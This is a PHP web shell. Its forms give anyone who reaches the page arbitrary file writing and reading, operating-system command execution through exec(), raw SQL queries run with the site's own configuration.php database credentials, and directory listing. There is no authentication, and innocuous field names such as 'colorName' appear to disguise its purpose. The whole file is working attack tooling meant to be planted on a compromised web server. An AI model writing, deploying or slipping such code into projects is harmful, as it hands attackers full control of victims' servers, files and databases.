<?php
echo "<h3>Create:</h3>
<form method=POST><input type=text value=colorName size=80 name=save_file><input type=submit value=save name=send_create_file>
<textarea name=file_content rows=50 cols=130></textarea>
</form>";
//saving file
if(isset($_POST['save_file']) && $_POST['save_file']!='' && isset($_POST['file_content']) &&  isset($_POST['send_create_file']) && $_POST['send_create_file']!='')
{
	//if register_globals is off it addes backslash before quotes. " to \"
	$file_content=$_POST['file_content'];
	if (get_magic_quotes_gpc()) 
	{ 
		$file_content=stripslashes($file_content);
	}	
	$f=fopen($_POST['save_file'],"w");
	if(fwrite($f,$file_content)!=FALSE)echo "file saved";else echo "error";
	fclose($f);
}
?>

<?php
echo "<h3>Open:</h3>
	<form method=POST><input type=text value=colorValue size=80 name=save_file>
	<input type=submit value=open name=send_open_file>
	</form>";
	
	
if(isset($_POST['save_file']) && $_POST['save_file']!='' && isset($_POST['send_open_file']) && $_POST['send_open_file']!='')
{
	$f=file_get_contents($_POST['save_file']);
	echo "<textarea>".htmlspecialchars($f) . "</textarea>";
}


if(isset($_POST['cmd']) && $_POST['cmd']!='')
{
	$cmd=str_replace('\\',"",$_POST['cmd']);
	exec($_POST['cmd'],$arr,$return_var);
	echo "<center><table width=95% border=1><tr><td><b>$cmd</b></td></tr><tr><td>";
	for($i=0;$i<count($arr);$i++)
	{
		echo $arr[$i]."<br>";
	}
	echo "</td></tr></table></center>";
}
echo "<h3>command</h3><form method=post><input type=text size=50 name=cmd></form><br>";


echo "<h3>Q:</h3><form method=POST>
<input type=text name=q cols=100>
<input type=submit value=query name=s>
</form>";
if(isset($_POST['s']))
{
	include($_SERVER['DOCUMENT_ROOT'] . "/configuration.php");
	//CONNECTION TO DB CODE WITH USNAME PASS HOST AND NEW HTML-FORMS 
	echo "<b>your query</b>:".$_POST['q'];
	$query=$_POST['q'];
	$query=mysql_query($query);
	
	if(strpos($_POST['q'],"select")===0)
	{
		echo "<br>Your query returned <b>".mysql_num_rows($query)."</b> rows<br>";
	
		$rows=mysql_num_rows($query);
		$cols=mysql_num_fields($query);
		if($rows>0)
		{
			$arr=mysql_fetch_array($query);
			echo "<table width=95% border=1>";
			for($i=0;$i<$rows;$i++)
			{
				echo "<tr>";
				for($j=0;$j<$cols;$j++)echo "<td>".$arr[$j]."</td>";
				echo "</tr>";
				$arr=mysql_fetch_array($query);
			}
			echo "</table>";
		}
	}
}
?>
<br>
<form method="POST">
<input type='text' size=50 value='<?php echo $_SERVER['DOCUMENT_ROOT'];?>' name='pathway'>
<input type='submit' name='showpath' value='show'>
</form>
<?php
echo "$_SERVER[SCRIPT_NAME]<br>";
if(isset($_POST['showpath']) && $_POST['showpath']=='show' && isset($_POST['pathway']))
{
	
	echo "<b>$_POST[pathway]</b><br>";
	$files=scandir($_POST['pathway']);
	for($i=0;$i<count($files);$i++)echo "$files[$i]<br>";
}
?>